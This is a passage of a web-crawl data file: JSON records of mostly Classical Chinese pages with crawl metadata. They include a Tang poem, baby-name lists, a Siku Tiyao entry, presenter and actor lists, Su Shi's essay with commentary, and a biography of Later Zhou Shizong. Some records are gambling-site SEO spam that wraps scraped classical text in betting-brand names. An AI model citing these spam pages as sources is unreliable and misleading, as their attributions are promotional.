双龙阙下拜恩初,天子令君录居家。载笔已齐周右史,论诗更加事谢中书。\n行闻溢液随金仗,进对炉烟侍玉除。贺客深知来独晚,青骊不知意何如。\n本文来源:华体会-www.baheo.com","id":"","dump":"CC-MAIN-2022-05","url":"http:\/\/www.baheo.com\/a\/xinwenzixun\/gongsidongtai\/624.html","date":"2022-01-24T02:00:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304345.92\/warc\/CC-MAIN-20220123232910-20220124022910-00606.warc.gz","language":"lzh","language_score":0.4113606513,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.41136065125465393, \"cmn_Hani_score\": 0.3150469958782196, \"yue_Hani_score\": 0.14424389600753784, \"nan_Hani_score\": 0.04831672087311745, \"wuu_Hani_score\": 0.04259547218680382, \"jpn_Jpan_score\": 0.03608832135796547}","num_words":5,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.178,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.491,"perplexity_score":500.0,"cluster_detection":1} +{"text":"周姓男孩名字大全_周姓女孩名字大全\n- 周明杰:明智、杰出。寓意宝宝将是聪慧明智、杰出优秀的人。\n- 周炎彬:炎:燃烧;彬:形容文雅。象征着宝宝将拥有燃烧的激情和文雅的气质。\n- 周伟泽:伟:伟大;泽:光泽。希望宝宝将是伟大辉煌、光彩熠熠的人。\n- 周君昊:君:君子;昊:苍天,苍穹。寄托着宝宝将是有道德品质的君子,光明如苍天。\n- 周熠彤:熠:光耀;彤:红色。意味着宝宝将是光芒耀眼、红红火火的存在。\n周姓男孩名字大全\n周子元 周子茗 周芷若 周琰芸 周琦茗 周小珊 周红涛 周建和\n周立海 周纾菲 周小寒 周艺霏 周艺函 周家毅 周炳旭 周芷蔚\n周靖朗 周乐天 周俊安 周华乐 周钰骒 周圣星 周劲宇 周昊静\n周景志 周静昊 周洁晗 周广瑞 周熙俊 周广嗣 周维泉 周小安\n周秋菊 周继来 周笑冬 周峻宇 周忠义 周楚烽 周忠达 周亚平\n周芯如 周梓卿 周富荣 周昭如 周巾胳 周煜夏 周子畅 周子蝉\n周昊璇 周晋瀚 周昊韵 周宣宇 周彤曜 周纪存 周树民 周慧渊\n周少全 周雨峥 周存宣 周宣存 周陆壹 周宣臣 周栾净 周建宇\n周娈沁 周楚慧 周洪珍 周雪云 周承坷 周丽妮 周诚克 周成克\n周晟克 周承克 周承柯 周文嘉 周承珂 周承轲 周健豪 周成健\n周冠君 周景仰 周呈昊 周文庭 周冰冰 周思侬 周静蕾 周文龙\n周杨人 周俊人 周彦军 周云帆 周长智 周天棚 周天凤 周煜昆\n周美臣 周玉坤 周子海 周桂荣 周运霖 周天旺 周亚球 周柔淳\n周柔雨 周懿霖 周一虎 周金银 周重霖 周烁宣 周诗人 周烁煊\n周勇强 周一龙 周颖坚 周黛经 周轩羽 周思羽 周紫懿 周志成\n周润邦 周家平 周敬德 周嘉贤 周艳忠 周泊贤 周航嫦 周黛纯\n周艺虹 周清淳 周余淳 周澜璞 周其贤 周小涵 周小淳 周延吉\n周平淳 周宾羽 周兰沁 周兰淇 周兰汶 周子宽 周兰雯 周兰涵\n周兰雨 周兰淳 周春涛 周玫淳 周穿亦 周谚馨 周思淳 周同淳\n周童淳 周诒淳 周未淳 周淳淳 周文淳 周诗汶 周诗潍 周诗沩\n周诗潼 周子款 周承江 周潼泓 周可淅 周可汐 周久明 周乾坤\n周泓涵 周民照 周俊君 周乐泓 周庆坤 周雨泓 周月峰 周帼飞\n周文豪 周明照 周可漫 周可泯 周可澜 周丹一 周凡迪 周雨涵\n周孝泓 周可涵 周可淳 周可雯 周可淇 周可菲 周可曼 周筠雁\n周诗淇 周诗滟 周嘉欣 周诗淳 周潼淳 周泓淳 周嘉嘉 周泓澜\n- 周若怡:怡:心旷神怡。预示着宝宝心情舒畅,快乐幸福。\n- 周芮涵:涵:包容。寄托着宝宝将是包容善解人意的女孩。\n- 周彦琳:彦:古代指有才学、有德行的人;琳:美玉。象征着宝宝将是有才有德、美丽如玉的女孩。\n- 周晟楠:晟:光耀炽盛;楠:坚固,谐音胜男。意味着宝宝将光芒四射,坚强不屈。\n- 周妍琦:妍:美好。寓意宝宝将是美丽且快乐的女孩。\n- 周雪熏:熏:薰衣草,香草名。象征着宝宝如薰衣草般清香可人。\n- 周雪陌:陌:幽幽小径。意味着宝宝将走在幽幽小径上,自信坚定。\n- 周梓萌:梓:名贵的树木,有树木的坚强意志;萌:萌芽,代表希望。预示着宝宝将有坚强的意志和美好的未来。\n- 周慧妍:慧:智慧;妍:美好。希望宝宝将是聪慧美丽的女孩。\n- 周婧琪:婧:女子有才;琪:美玉。寓意着宝宝将是才华横溢、美如玉的女孩。\n- 周晨芙:晨:早晨的意思;芙:荷花。象征着宝宝如早晨的荷花一样清新美丽。\n- 周诗琪:诗:诗情画意;琪:美玉。预示着宝宝将有着诗意般美丽的人生。\n- 周羽馨:羽:羽缎;馨:温馨。意味着宝宝带来温暖和香气。\n- 周芸熙:芸:光明。寓意着宝宝将如阳光般明亮温暖。\n- 周佳琪:琪:美玉。象征着宝宝将如美玉一样珍贵可爱。\n周姓女孩名字大全\n周娅拉 周倩瑶 周慧媛 周莉玲 周鑫倩 周丽琳 周熙倩 周馨倩\n周欣茹 周幸茹 周星茹 周宛茹 周莉娅 周诚玉 周云娥 周熙瑶\n周禧悦 周淇文 周如霞 周炎芳 周蓉容 周容蓉 周蓉肜 周茸蓉\n周肜蓉 周卉婷 周玲芳 周兰丽 周雨萍 周诺霞 周诺妍 周起丽\n周恬琼 周悦彤 周建琴 周乐霞 周娜铆 周弋丽 周琪颖 周树颖\n周少霞 周绮莉 周子蓉 周兰洁 周静丽 周芳冉 周翠芳 周婵沁\n周术琴 周兮悦 周方冉 周彤妍 周熙秀 周熙悦 周艺婷 周云芬\n周雅娟 周伟芳 周丹玲 周涵琳 周怡华 周昱妍 周筱秀 周婵华\n周雪霞 周中英 周迷娜 周宗英 周海娅 周想英 周达颖 周春琼\n周新娟 周引芳 周碧玉 周圣艳 周盛艳 周紫琳 周焱妍 周甜瑶\n周夏瑶 周瑶叶 周芬匕 周芬包 周芬褒 周银红 周倩妤 周昕娅\n周馨妍 周馨茹 周馨洁 周燕艳 周妍傧 周昕茹 周艳文 周作玲\n周明英 周绮瑶 周婷依 周剑萍 周婧琳 周飞琳 周琬瑛 周琬梅\n周释玲 周振萍 周颖瑛 周瑞瑛 周鹰瑛 周语瑛 周涵瑛 周丽瑛\n周瑛敏 周瑛梅 周敏梅 周盈妍 周春妍 周洁婷 周云洁 周芸洁\n周玲智 周怡冉 周瑞英 周琳芝 周宗燕 周怡航 周洁芬 周蔓茹\n周洁琴 周春怡 周歆悦 周措梅 周歆洁 周瑞冉 周怡杉 周敏芳\n周瑛岚 周世英 周素娟 周妍每 周可英 周海玉 周汝美 周秀文\n周开芳 周林美 周利霞 周育红 周开丽 周仕琴 周咏红 周芷妍\n周秀雪 周晓瑛 周翼婷 周莉君 周涣娜 周涣丽 周清颖 周涣颖\n周建萍 周涣玲 周涣琳 周涣霞 周哲倩 周公莉 周婧超 周公丽\n周慧怡 周久芳 周明媛 周昕玲 周昕艳 周艳茹 周静艳 周茹妍\n周晶茹 周嫒茹 周海茹 周茹玫 周茹益 周爱茹 周霭茹 周鑫莹\n周丰文 周习文 周好文 周修文 周剑英 周姝红 周沁文 周鸿文\n周珂颖 周茹妮 周后丽 周成玉 周显艳 周重文 周天娜 周冠英\n本文仅供周姓起名参考,每个人八字不一样,请勿照搬,起名有讲究不可太随意,可点击下面免费起名工具输入宝宝的出生年月根据自己宝宝的生辰八字为宝宝起一个合适的好名。\n免费起名工具\n版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权\/违法违规的内容, 请发送邮件至82281456@qq.com 举报,一经查实,本站将立刻删除。","id":"","dump":"CC-MAIN-2024-10","url":"http:\/\/www.haoming123.com\/baijiaxing\/1382.html","date":"2024-02-22T04:53:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947473690.28\/warc\/CC-MAIN-20240222030017-20240222060017-00657.warc.gz","language":"lzh","language_score":0.438305676,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.43830567598342896, \"cmn_Hani_score\": 0.2735925018787384, \"nan_Hani_score\": 0.2183925062417984, \"wuu_Hani_score\": 0.06525756418704987}","num_words":428,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.466,"perplexity_score":500.0,"cluster_detection":1} +{"text":"全國漢籍データベース 四庫提要 子部四十一 雜家類存目八 公子書 三卷 永樂大典本 明洪武中熊鼎等奉敕撰。採摭古事。分爲三類。一良臣門。一忠臣門。一姦臣門。其詞較永鑑錄尤俚淺。蓋以訓開國武臣之子弟。故務取通俗云。","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0272405.html","date":"2017-03-24T00:02:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218187227.84\/warc\/CC-MAIN-20170322212947-00440-ip-10-233-31-227.ec2.internal.warc.gz","language":"lzh","language_score":0.4704688489,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.4704688489437103, \"cmn_Hani_score\": 0.3398934602737427, \"yue_Hani_score\": 0.1355096399784088, \"jpn_Jpan_score\": 0.025829259306192398, \"nan_Hani_score\": 0.0162967536598444, \"wuu_Hani_score\": 0.011091704480350018}","num_words":8,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.47,"perplexity_score":500.0,"cluster_detection":1} +{"text":"杨 柳 石琼璘 王玲玲 张腾岳 赵音奇 王雪纯 李晓辉 周 宇 方 琼 白 桦 朱 华 于胜春 冉宗瑜 丁 丁 高 月敬一丹 张 越 张 悦 赵忠祥 柴 静 道一鸣 陈志峰 颜泽玉 黄 薇 唐?剑 汪文华 肖晓琳 张?莉鞠 萍 董 浩 刘纯燕 方 琼 徐 柳 金 豆 红果果 小鹿姐姐 周 洲 月亮姐姐 毛毛虫 曾 媛 绿泡泡 阳 光 曹 震 一 天 杜 悦 小 时 陈 怡孙正平 张 斌 韩乔生 沙 桐 段 暄 于 嘉 刘筑宏 王 江 张宇东 施 丹 宁 辛 甄 诚 罗宏涛 梁毅苗 袁文栋 孙 燕 吴 为 华 北 蔡 猛 朱 虹 马 昕 朱晓琳 朱 环 杨 健 魏晓南 尤 宁王小丫 李 咏 赵 赫 欧阳夏丹 马 斌 史小诺 孙小梅 谢颖颖 李雨霏 陈伟鸿 尼格买提 朱 轶 贾志红 孟 莉 王小骞 熊 雄 肖 薇 冀玉华 颜 芳 姚雪松 张 毅 高 博 周 蓉 任鲁豫 庞 晔 陈微雨 宁小鹃 计 渝 李佳明 罗晓芳 方 英 马洪涛 姚振山 苛晓宁 轶 男 钱 婧芮成钢 杨 林 曹 日 李东宁 杨 锐 季小军 林东威 朱 筠 刘 欣 杨福庆毕铭鑫 周 雷 陆 梅 顾邦宁 张 玮 李 冰 杜 云 王莉鑫 肖东坡 冯 琳 燕 菲 刘栋栋 王晓燕 俞 洁董 卿 朱 军 毕福剑 管 彤 张泽群 赵保乐 李 红 施 翌 梁 璐 马 东 刘 璐 小 燕邢质斌 罗 京 崔永元 李修平 王 志 沈 冰 水均益 和 晶 海 霞 张泉灵 李瑞英 张宏民 白岩松 朱广权 李小萌 王 宁 郎永淳 阿 丘 康 辉 李梓萌 杨 晨 贺红梅 郭志坚 郑天亮 崔志刚 宝晓峰 翟树杰 董 倩 经 蓓 梁 艳 章伟秋 方?静 胥午梅 郑 丽 栗忠民 张 璐 张 恒 张 羽 耿 萨 慕林杉 李文静 颜 倩 纳 森 彭 坤朱 迅 徐 俐 梦 桐 王世林 洪 涛 叶迎春 鲁 健 刚 强 宋一平 李 红 任志宏 桑 晨 王端端 曾 湉 孙靖!\nhttps:\/\/www.51fbc.com\/zhumingzhuchi\/322.html","id":"","dump":"CC-MAIN-2019-09","url":"https:\/\/www.51fbc.com\/zhumingzhuchi\/322.html","date":"2019-02-24T05:18:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550249595829.93\/warc\/CC-MAIN-20190224044113-20190224070113-00148.warc.gz","language":"lzh","language_score":0.5272625685,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.5272625684738159, \"cmn_Hani_score\": 0.45620113611221313}","num_words":303,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.379,"stopwords_ratio":0.013,"flagged_words_ratio":0.0,"lang_id_score":0.554,"perplexity_score":500.0,"cluster_detection":1} +{"text":"sunbet手机有退有进共享办公行业如何闯过疫情大考\n问人于他邦,再拜而送之。\n魏文侯既卒,起事其子武侯。武侯浮西河而下,中流,顾而谓吴起曰:\"美哉乎山河之固,此魏国之宝也!\"起对曰:\"在德不在险。昔三苗氏左洞庭,右彭蠡,德义不修,禹灭之。夏桀之居,左河济,右泰华,伊阙在其南,羊肠在其北,修政不仁,汤放之。殷纣之国,左孟门,右太行,常山在其北,大河经其南,修政不德,武王杀之。由此观之,在德不在险。若君不修德,舟中之人尽为敌国也。\"武侯曰:\"善。\"\n鲁连见新垣衍而无言。新垣衍曰:\"吾视居此围城之中者,皆有求於平原君者也;今吾观先生之玉貌,非有求於平原君者也,曷为久居此围城之中而不去?\"鲁仲连曰:\"世以鲍焦为无从颂而死者,皆非也。众人不知,则为一身。彼秦者,弃礼义而上首功之国也,权使其士,虏使其民。彼即肆然而为帝,过而为政於天下,则连有蹈东海而死耳,吾不忍为之民也。所为见将军者,欲以助赵也。\"\n楚申公巫臣盗夏姬以奔晋,晋以巫臣为邢大夫。\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故自宝兮,养空而浮;德人无累兮,知命不忧。细故","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/gplpn.newcrownhotel.com\/IWAOI48038.html","date":"2020-02-25T00:20:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145989.45\/warc\/CC-MAIN-20200224224431-20200225014431-00200.warc.gz","language":"lzh","language_score":0.4404925406,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.44049254059791565, \"cmn_Hani_score\": 0.4002947509288788, \"nan_Hani_score\": 0.029279222711920738, \"zxx_Latn_score\": 0.016827374696731567, \"wuu_Hani_score\": 0.015776943415403366, \"und_Tang_score\": 0.015581786632537842, \"jpn_Jpan_score\": 0.01019264291971922}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.182,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.288,"perplexity_score":500.0,"cluster_detection":1} +{"text":". 楓紅寄情 思鄉情 寒風吹起落葉飄 寒夜窗外落雨聲 吟詩品茶談最愛 寒風吹來鼻酸起 相思樹上蟬叫聲 家鄉親人相思情\n夜來鳴蟲夏到來 歲月無情人已老 楓紅品茶思鄉音 鼻酸落淚到天明 楓紅葉落 寒夜 又見秋來楓葉飄 寒夜飲茶相思情 楓下做樂待親人\n湖清對影成三人 喜怒哀樂此處過 李白題詩我最愛 暗自思親鼻酸流 靜來心語寒夜帶 歲月無情人不留 自清背影從何來 .\n(繼續閱讀)","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/blog.xuite.net\/a123333777\/blog","date":"2020-03-31T17:34:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370502513.35\/warc\/CC-MAIN-20200331150854-20200331180854-00429.warc.gz","language":"lzh","language_score":0.4132403135,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.41324031352996826, \"nan_Hani_score\": 0.4130275547504425, \"yue_Hani_score\": 0.0883779376745224, \"cmn_Hani_score\": 0.07824204117059708}","num_words":25,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.413,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n王浩信 張振朗 馮盈盈 高海寧 石修 姜大衛 賴慰玲 蔣家旻 傅嘉莉 林宣妤 朱敏瀚 徐榮 許家傑 陳志健 湯怡 李成昌 蔡國慶 吳瑞庭 鄭詠謙 莫家淦 容天佑 張武孝 鬼塚 楊證樺 湯俊明 唐嘉麟 區軒瑋 陳家良 吳子衝 邵展鵬 陳狄克 秦煌 彭懷安 司徒暉 李漫芬 梁證嘉 阮政峯 吳嘉儀 梁雯蔚 彭翔翎 周麗欣 袁鎮業 余子明 林浩文 張漢斌 張本立 林敬剛 沈愛琳 莫偉文 於洋 關婉珊 羅鴻\n譚俊彥 曹永廉 姚子羚 湯洛雯 陳凱琳 張振朗 胡諾言 傅嘉莉 張秀文 龔嘉欣 楊玉梅 張穎康 曾敏 李嘉 李日升 譚坤倫 呂珊 陳嘉佳 張國強 蔡國慶 馮素波 吳沚默 吳家樂 袁文傑 郭子豪 範文雅 陳自瑤 陳婉婷 李美慧 何佩珉 葉蒨文 楊詩敏 張彥博 梁舜燕 譚凱琪 黃子恆 李成昌 羅天宇 李綺雯 袁鎮業 郭千瑜 謝雪心 余子明 陳嘉輝 羅樂林 文雪兒 何遠東 杜燕歌 歐瑞偉 李岡龍 煒烈 陳狄克 杜大偉 丁樂鍶 莫偉文 魯振順 莫家淦 胡定欣 李天縱 招浩明 黃耀英 程皓 鄭恕峯 蔡國威 何廣沛\n譚俊彥 陳山聰 黃智雯 楊秀惠 江欣燕 林嘉華 趙希洛 何遠東 何啓南 楊卓娜 羅浩銘 林師傑 杜大偉 鄭恕峯 蕭徽勇 方紹聰 唐嘉麟 尹詩沛 蔡國威 謝可逸 陳婉婷 陳家良 阮兒 司徒暉 莫偉文 孟苑榕 邵展鵬 黃凱琪 林浩文 丁樂鍶 羅永健 鄧嘉傑 何晉樂 陳戩浩 鄭雋熹 梁嘉駿 梁百川 梁珈詠 曾敏 曾慧雲 餘應彤 張雪瑩 關浩揚 梁雯蔚 於洋 黃子雄 劉芷希 李善恆 黃可盈\n張振朗 蔡思貝 楊明 鄧佩儀 湯洛雯 許家傑 楊玉梅 黃建東 陳偉洪 袁鎮業 李日升 葉凱茵 蘇恩磁 關禮傑 潘志文 魯振順 黃子恆 王梓軒 吳家樂 黎振燁 朱敏瀚 楊證樺 冼灝英 何啓南 姚浩政 崔錦棠 趙樂賢 蔡國威 李善恆 劉天龍 江富強 衛志豪 劉嘉琪 楊嘉欣 張雪瑩 何依婷 賴慰玲 泰臣 孫慧雪 陳嘉輝 劉溫馨 王綺琴 程可爲 林敬剛 陳榮峻 陳建文 姚瑩瑩 曾慧雲 楊家寶 林宥喬 曾健明 李麗霞 鄭詠謙 方紹聰 鄭健樂 岑杏賢 莊思明 李漫芬 潘冠霖 李興華 唐嘉麟 郭千瑜 周麗欣 莫偉文 吳\n袁偉豪 唐詩詠 朱晨麗 胡鴻鈞 黃祥興 賴慰玲 林子善 張彥博 趙希洛 黃子雄 郭子豪 王歌慧 張國強 煒烈 鄭敬基 範文雅 沈可欣 顧冠忠 祝文君 李日升 方紹聰 李啓傑 邵卓堯 許家傑 關浩揚 衛志豪 鄭家生 姚浩政 莫家淦 尹詩沛 楊家寶 楊潮凱 崔錦棠 秦啓維 李楓 林淑敏 朱斐斐 曹思詩 林希靈 潘梓鋒 謝芷倫 黃愷怡 餘應彤 李海生 陳勉良 彭紀諺 容羨媛 周麗欣 丘梓謙 李漫芬 劉溫馨 陳婉衡 陳靖雲 沈愛琳 莫偉文 徐玟晴 周梓盈 關偉倫 趙樂賢 繆家慶 招浩明 余子明 楊證樺 魏惠文 鄧\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/778mov.com\/search\/-%E8%8E%AB%E5%81%89%E6%96%87------------.html","date":"2020-09-24T22:20:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400220495.39\/warc\/CC-MAIN-20200924194925-20200924224925-00712.warc.gz","language":"lzh","language_score":0.8506112099,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8506112098693848, \"cmn_Hani_score\": 0.09346319735050201, \"nan_Hani_score\": 0.04817792773246765}","num_words":299,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.868,"perplexity_score":500.0,"cluster_detection":1} +{"text":"*據中華書局《古文觀止(全二冊)》(1959年9月第1版 2013年8月北京第24次印刷)訂正\n刑賞忠厚之至論 蘇軾\n堯舜禹湯文武成康之際、何其愛民之深、憂民之切、而待天下以君子長者之道也。正是忠厚處、一篇主意、在此一句。 ○總冒以詠歎起、另是一種起法。有一善、從而賞之、又從而詠歌嗟歎之、所以樂其始而勉其終。有一不善、從而罰之、又從而哀矜懲創之、所以棄其舊而開其新。一意翻作兩層。故其吁俞之聲、歡休慘戚、見於虞夏商周之書。吁、歎其不然之辭。俞,應許之辭也。 ○應上堯舜禹湯文武成康、此言盛時之忠厚。成康旣沒、穆王立而周道始衰。然猶命其臣呂侯、而告之以祥刑。呂刑、告爾祥刑。刑、凶器。而謂之祥者、刑期無刑、民協于中、其祥莫大焉。其言憂而不傷、威而不怒、慈愛而能斷、惻然有哀憐無辜之心、故孔子猶有取焉。此言至衰世而忠厚猶存。傳曰、賞疑從與、所以廣恩也。罰疑從去、所以慎刑也。當賞而疑、則甯與之。當罰而疑、則甯不致罰。 ○就疑處見出忠厚來、篇中不出此意。當堯之時、臯陶爲士。將殺人、臯陶曰殺之三、堯曰宥之三。故天下畏臯陶執法之堅、而樂堯用刑之寬。臯陶曰二句、諸生文不知其出處、及入謝、歐陽公問其出處、東坡笑曰、想當然耳。數公大笑。四岳曰、鯀可用、堯曰、不可、鯀方命圮痞、族、旣而曰試之。四岳、官名。一人而總四岳諸侯之事也。方命、逆命而不行也。圮族、猶言敗類也。何堯之不聽臯陶之殺人、而從四岳之用鯀也。然則聖人之意、蓋亦可見矣。獨舉堯以爲舜禹湯文武之例、刑賞忠厚、意便躍然。書曰、罪疑惟輕、功疑惟重。與其殺不辜、甯失不經。罪可疑者、則從輕以罰之。功可疑者、則從重以賞之。法可以殺可以無殺者、與其殺之、而害彼之生。甯姑生之、而自受失刑之責。嗚呼盡之矣。引經頓住。下乃暢發題㫖、得意疾書、如長江大河、一瀉千里。可以賞、可以無賞、賞之過乎仁。可以罰、可以無罰、罰之過乎義。過乎仁、不失爲君子。過乎義、則流而入於忍人。故仁可過也、義不可過也。至理快論。古者賞不以爵祿、刑不以刀鋸。又振起。賞之以爵祿、是賞之道行於爵祿之所加、而不行於爵祿之所不加也。刑以刀鋸、是刑之威施於刀鋸之所及、而不施於刀鋸之所不及也。又將刑賞振宕一番、下便一轉而入、快利無前。先王知天下之善不勝升、賞、而爵祿不足以勸也、知天下之惡不勝刑、而刀鋸不足以裁也。是故疑則舉而歸之於仁、到底不脫疑字。以君子長者之道待天下、使天下相率而歸於君子長者之道、應前。故曰、忠厚之至也。一句點出。文氣已完。下作餘波。詩曰、君子如祉、恥、亂庶遄已。君子如怒、亂庶遄沮。祉、喜也。遄、速也。夫君子之已亂、豈有異術哉。時其喜怒、而無失乎仁而已矣。春秋之義、立法貴嚴、而責人貴寬、因其褒貶之義以制賞罰、亦忠厚之至也。引詩、引春秋、亦見同歸于忠厚、深著夫子作春秋之意、有得于堯舜禹湯文武成康之心。\n此長公應試文也。只就本㫖、從疑上全寫其忠厚之至。每段述事、而斷以婉言警語。天才燦然、自不可及。","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/neodu.com\/%E3%80%8A%E5%88%91%E8%B3%9E%E5%BF%A0%E5%8E%9A%E4%B9%8B%E8%87%B3%E8%AB%96%E3%80%8B%E7%B9%81%E9%AB%94%E5%AD%97%E7%89%88.html","date":"2021-10-16T06:45:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323583423.96\/warc\/CC-MAIN-20211016043926-20211016073926-00206.warc.gz","language":"lzh","language_score":0.7733279467,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.7733279466629028, \"cmn_Hani_score\": 0.09498383849859238, \"nan_Hani_score\": 0.057877905666828156, \"jpn_Jpan_score\": 0.021732745692133904, \"yue_Hani_score\": 0.012488662265241146}","num_words":9,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.185,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.775,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ⓘ 後周世宗\n後 周世宗 ,諱郭榮,本柴氏太祖養子也。唐天祐十八年九月廿四日生於邢州堯山柴家莊。史載「器貌英奇,善騎射,略通書史黃老,性沉重寡言」,有帝相。廣順元年太祖即位,榮授澶州節度使、檢校太保,封太原郡侯。據,其境「為政清肅,盜不犯境」,深得民心。二年,為相。三年三月封開封尹,封晉王。顯德元年正月,封內外兵馬事。其月二十日,太祖崩,即位於柩前,年三十四。\n既即,招流亡,減賦稅,重經濟,整吏治,使政通人和,百姓富庶。顯德二年廢天下佛寺,熔佛寺鑄「周元通寶」,錢質鑄量居五代之冠,其毀佛之行,史稱「三武一宗」。司馬光評世宗「毀佛」:「不愛己身而愛民,不以無益廢有益,周世宗乃仁愛明理之人。」\n拓疆土。顯德元年二月,北漢劉崇與四萬遼師強攻後周,榮力排宰相馮道之勸,率軍迎擊之,高平之戰大破敵軍。戰終,整軍練卒,裁汰冗弱,軍威大振。顯德二年詔令群臣獻為君難為臣不易論、平邊策,定「先南後北」方針;命兵部撰兵法,名曰制旨兵法。三征南唐,建水軍,復淮南十四州;敗後蜀,得秦、鳳、成、階四州,蜀君孟昶大懼,致書請和。\n顯德六年三月,圖復燕雲十六州,乃陷瀛洲、莫州二州,瀛洲、莫州刺史劉楚信、高彥暉降之。再陷益津關、瓦橋關、高陽關。五月議取幽州,榮抱恙,退兵回京。崩,年方三十九。柴宗訓即,是為後周恭帝。\n榮乃五代之有能君主。舊五代史曰:「世宗頃在仄微,尤務韜晦……不日破高平之陣,逾年復秦、鳳之封,江北、燕南,取之如拾芥,神武雄略,乃一代之英主也……而降年不永,美志不就,悲夫!」\n1. 德行\n- 身先士卒\n北漢進犯,榮對兵將曰:「昔唐太宗定天下,未嘗不自行,朕何敢偷安?」兩軍遇于高平之南,周將士俱,榮介馬自臨陣督戰、自引親兵犯矢石督戰,並與將士宿于野次。\n- 躬親閱試\n選武藝超絕者任殿前諸班。征伐四方,所向皆捷,冗兵積弊,一掃而光。\n- 戰略規劃\n「十年開拓天下,十年養百姓,十年致太平。」可見其理想之大。惜英年早逝,未能實現。\n- 毀佛\n私度僧尼,日益猥雜,鄉村之中,其弊轉盛。乃下詔:「近覽諸州奏聞……私度僧尼,日增猥雜,創修寺院,漸至繁多……宜舉舊章,以革前弊……諸道州縣鎮村坊,應有敕額寺院,一切仍舊,其無敕額者,並抑停廢。」頒旨畢,去佛之風成流,廢寺院三萬所,還俗僧尼六萬人。禁私度僧尼,禁僧俗捨身,毀銅佛像以鑄錢。榮曰:「卿輩勿以毀佛為疑。夫佛,以善道化人,苟志於善,斯奉佛矣。彼銅像豈所謂佛耶?且吾聞佛在利人,雖頭目猶舍以布施。若朕身可以濟民,亦非所措也。」\n- 定稅徵,保邊民。\n- 均田租,抑豪強。\n- 浚卞口,導河流,江淮舟楫始通。\n2. 臣屬\n據五代會要,世宗臣下有宰相五人,范質、李毄、王溥、景範、魏仁浦;使相三十五人,高保融、錢弘俶、王饒、安審琦、王晏、侯章、王景等;大將六人。趙匡胤、李重進、張永德、韓通、韓令坤、袁彥。\n3. 家屬\n- 母 不詳,五代會要無記載\n- 子 越王柴宗誼又曰宜哥、周恭帝、曹王柴熙讓、紀王柴熙謹、蘄王柴熙誨\n- 姑姑 聖穆皇后追冊\n- 養父 周太祖\n- 親祖父 柴翁\n- 親父 柴守禮\n- 周 恭帝 諱宗訓 世宗 子也 廣順三年八月四日生於澶州 顯德六年六月封梁王 十九日 世宗 崩 宗訓即位於柩前 年七歲 顯德七年大遼南侵 殿前都檢點趙匡胤伐之 將至陳橋驛 麾下兵將黃袍加身於匡胤 